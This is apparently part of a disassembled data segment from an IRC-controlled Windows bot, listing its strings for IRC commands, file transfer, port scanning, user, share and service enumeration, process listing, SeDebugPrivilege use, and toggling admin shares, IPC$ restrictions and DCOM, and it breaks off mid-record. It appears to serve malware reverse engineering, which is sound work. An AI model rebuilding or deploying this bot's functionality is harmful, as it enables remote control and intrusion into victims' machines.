dword_436304	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D7EBo
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_436358	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D7CDo
					; seg000:00411586o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_27	db '  Failed to start transfer thread, error: <%d>.',0
dword_4363A4	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: seg000:0040D7BCo
		dd 0A0Dh
dword_4363BC	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: seg000:0040D742o
		align 10h
dword_4363E0	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: seg000:0040D728o
		dd 0D017325h, 0Ah
dword_4363FC	dd 52455601h, 4E4F4953h, 1dword_436408	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D5DDo
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: seg000:0040D53Ao
		align 10h
dword_436450	dd 43434401h, 0	dword_436458	dd 323333h						; seg000:0040D996o ...
aNotice		db 'NOTICE',0           ; DATA XREF: seg000:0040D481o
					; sub_412D4E+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: seg000:0040D475o
					; sub_412D4E+16o
dword_43646C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D424o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 10h
dword_4364A0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D3FDo
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: seg000:0040D3C6o
aPart		db 'PART',0             ; DATA XREF: seg000:0040D378o
					; seg000:0040D441o
		align 10h
aSS_1		db ':%s%s',0            ; DATA XREF: seg000:0040D350o
		align 4
aNick		db 'NICK',0             ; DATA XREF: seg000:0040D222o
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D1C3o
					; seg000:0040D465o
dword_436500	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D1AAo
					; seg000:004128B4o ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: seg000:0040D139o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040D0E2o
					; seg000:0041193Eo ...
		align 4
a433		db '433',0              ; DATA XREF: seg000:0040D0BAo
a302		db '302',0              ; DATA XREF: seg000:0040D07Fo
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D039o
					; seg000:0040D209o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040D018o
		align 4
aPing		db 'PING',0             ; DATA XREF: seg000:0040CFFEo
		align 4
asc_436574	db ' :',0               ; DATA XREF: seg000:0040CEDBo
					; seg000:loc_40D9EEo
		align 4
dword_436578	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4365C4	dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_4365E0	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: sub_412B9A+118o
dword_4365F4	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_412B9A+13Fo
dword_436608	dd 25207325h, 253A2073h, 0A0D73h, 0off_436618	dd offset aAdd		; DATA XREF: sub_412DE9+6Dr
					; sub_4131CD+50r ...
					; "Add"
off_43661C	dd offset aAdded	; DATA XREF: sub_412DE9+2Dr
					; sub_4131CD+82r ...
					; "Added"
dword_436620	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43668Ch, 436684h,	2, 436678h, 43666Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg002:0043664Co
aStop_0		db 'Stop',0             ; DATA XREF: seg002:00436648o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg002:00436640o
aStart_0	db 'Start',0            ; DATA XREF: seg002:0043663Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg002:00436634o
		align 4
aList_0		db 'List',0             ; DATA XREF: seg002:00436630o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg002:00436628o
aDelete_0	db 'Delete',0           ; DATA XREF: seg002:00436624o
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg002:off_43661Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: seg002:off_436618o
dword_4366E0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE9+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_436718	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE9+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_436754	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DE9+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412F12+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_412F12:loc_41302Ao
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_412F12:loc_413023o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_412F12:loc_41301Co
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_412F12:loc_413015o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_412F12:loc_41300Eo
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_412F12:loc_413007o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_412F12:loc_413000o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_412F12:loc_412FF9o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_412F12:loc_412FF2o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_412F12:loc_412FEBo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_412F12:loc_412FC0o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_412F12:loc_412FB9o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_412F12:loc_412FB2o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_412F12:loc_412FABo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_412F12+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_412F12:loc_412F80o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_412F12:loc_412F76o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_412F12:loc_412F6Co
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_412F12:loc_412F62o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_412F12:loc_412F58o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0
					; DATA XREF: sub_412F12:loc_412F4Eo
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_413090+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_413090:loc_41315Co
aStarting	db '   Starting',0      ; DATA XREF: sub_413090:loc_413155o
aStoping	db '    Stoping',0      ; DATA XREF: sub_413090:loc_41314Eo
aRunning_0	db '    Running',0      ; DATA XREF: sub_413090:loc_413147o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_413090:loc_413140o
aPausing	db '    Pausing',0      ; DATA XREF: sub_413090:loc_413139o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_413090:loc_413132o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_413090+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_413090+25o
		align 4
dword_436CBC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CD+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_436CF4	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CD+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_436D24	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4131CD+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133C2+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4133C2+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4133C2+B5o
dword_436D84	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4133C2+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4133C2+26o
		align 4
dword_436DF8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E3+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_436E34	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E3+94o
		dd 2029206Ch, 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_436E74	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4134E3+6Do
		dd 2029206Ch, 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_436EA8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413629+394o
		dd 2029206Ch, 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 10h
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_413629+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_413629+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_413629+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_413629+2ECo
		align 10h
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_413629+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_413629+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_413629+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_413629+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_413629+21Eo
		align 10h
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_413629+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_413629+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_413629+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_413629+178o
		align 10h
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_413629+14Do
		align 10h
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_413629+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_413629:loc_413742o
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_413629:loc_41373Bo
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_413629+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_413629+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_413629+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_413629+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4139F7+14Fo
		align 4
dword_437068	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139F7+F7o
		dd 2029206Ch, 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 4
aS_5		db '  %S',0             ; DATA XREF: sub_4139F7+BEo
		align 10h
dword_4370B0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_4139F7+7Ao
		dd 2029206Ch, 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4139F7+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_413B77:loc_413C94o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_413B77:loc_413C8Do
		align 10h
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_413B77:loc_413C86o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_413B77:loc_413C7Fo
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_413B77:loc_413C78o
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_413B77:loc_413C5Bo
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_413B77:loc_413C54o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_413B77:loc_413C4Do
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_413B77+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_413B77:loc_413C22o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B77:loc_413C1Bo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_413B77:loc_413C14o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B77:loc_413C0Ao
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_413B77+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_413B77:loc_413BE4o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_413B77:loc_413BDAo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_413B77:loc_413BD0o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_413B77:loc_413BC6o
		align 10h
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_413B77:loc_413BBCo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_413B77+3Bo
		align 4
dword_4373CC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413CAB+ABo
		dd 2029206Ch, 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_437408	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_413CAB+81o
		dd 2029206Ch, 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_413DD4+120o
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DD4+5Ao
					; sub_413DD4+19Eo
		align 4
dword_437464	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F85:loc_41400Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai	db '  Process list failed.',0
		align 4
dword_43749C	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F85+80o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom	db '  Process list completed.',0
		align 4
dword_4374D8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_413F85+19o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
		dd 72702067h, 7365636Fh, 3A736573h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_43751C	dd 1		off_437520	dd offset sub_4140CA	; DATA XREF: sub_414435+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 414128h, 706D6F63h, 2 dup(0)
		dd 3, 414175h, 6E756F63h, 797274h, 0
		dd 4, 414213h, 736Fh, 2	dup(0)
		dd 5, 414288h
dword_437574	dd 69257325h, 0						; seg000:004141F4o ...
byte_43757C	db 50h			; DATA XREF: seg000:00414197o
					; seg000:004141A4r
		db 43h,	2 dup(0)
dword_437580	dd 7C7325h						; sub_414435+39o
dword_437584	dd 5D73255Bh, 7Chdword_43758C	dd 334B32h	dword_437590	dd 5D64255Bh, 7325hdword_437598	dd 5D4D5Bh						; sub_414392+57o
unk_43759C	db    2			; DATA XREF: sub_41449E+92o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_4375D8	db    2			; DATA XREF: sub_41456B+41o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 4
off_437618	dd offset dword_437650	; DATA XREF: sub_4146BC+1B3o
					; sub_4149E0+17Ao
		align 10h
		dd offset dword_437648
		align 8
off_437628	dd offset dword_437644	; DATA XREF: sub_4149E0+1E3o
		dd offset dword_437640
		dd offset dword_43763C
		dd offset dword_437638
dword_437638	dd 5C3A44h						; seg002:00437634o
dword_43763C	dd 2444h	dword_437640	dd 5C3A43h	dword_437644	dd 2443h	dword_437648	dd 494D4441h, 244Ehdword_437650	dd 24435049h, 0	unk_437658	db    2			; DATA XREF: sub_4146BC+2E5o
					; sub_4149E0+2D8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_43769C	db    2			; DATA XREF: sub_4146BC+2CFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_4376D8	db    2			; DATA XREF: sub_4146BC:loc_41491Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_437718	db    2			; DATA XREF: sub_4146BC+25Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 10h
unk_437750	db    2			; DATA XREF: sub_4146BC:loc_41488Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
unk_437790	db    2			; DATA XREF: sub_4146BC+1C8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_4377C8	db    2			; DATA XREF: sub_4146BC:loc_4147EEo
					; sub_4149E0:loc_414B0Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_43780C	db    2			; DATA XREF: sub_4146BC:loc_4147E7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_43785C	db    2			; DATA XREF: sub_4146BC:loc_4147C9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_4378A4	db    2			; DATA XREF: sub_4146BC+106o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_4146BC+EDo
					; sub_4149E0+EDo
		align 4
unk_437908	db    2			; DATA XREF: sub_4146BC+91o
					; sub_4149E0+91o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_43794C	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: sub_4146BC:loc_414729o
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 4F434420h, 6964204Dh
		dd 6C626173h, 2E6465h
unk_43797C	db    2			; DATA XREF: sub_4146BC+66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_4146BC+54o
					; sub_4149E0+54o
		align 10h
word_4379C0	dw 4Eh			; DATA XREF: sub_4146BC+38r
		align 4
unk_4379C4	db    2			; DATA XREF: sub_4149E0+2C0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_2		db '%c:\',0             ; DATA XREF: sub_4149E0+22Ao
		align 4
aC_3		db '%c$',0              ; DATA XREF: sub_4149E0+219o
unk_437A08	db    2			; DATA XREF: sub_4149E0:loc_414B7Fo
					; sub_4149E0:loc_414C4Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 4
unk_437A44	db    2			; DATA XREF: sub_4149E0+198o
					; sub_4149E0+266o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 4
unk_437A78	db    2			; DATA XREF: sub_4149E0:loc_414B07o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_437AC8	db    2			; DATA XREF: sub_4149E0:loc_414AE9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
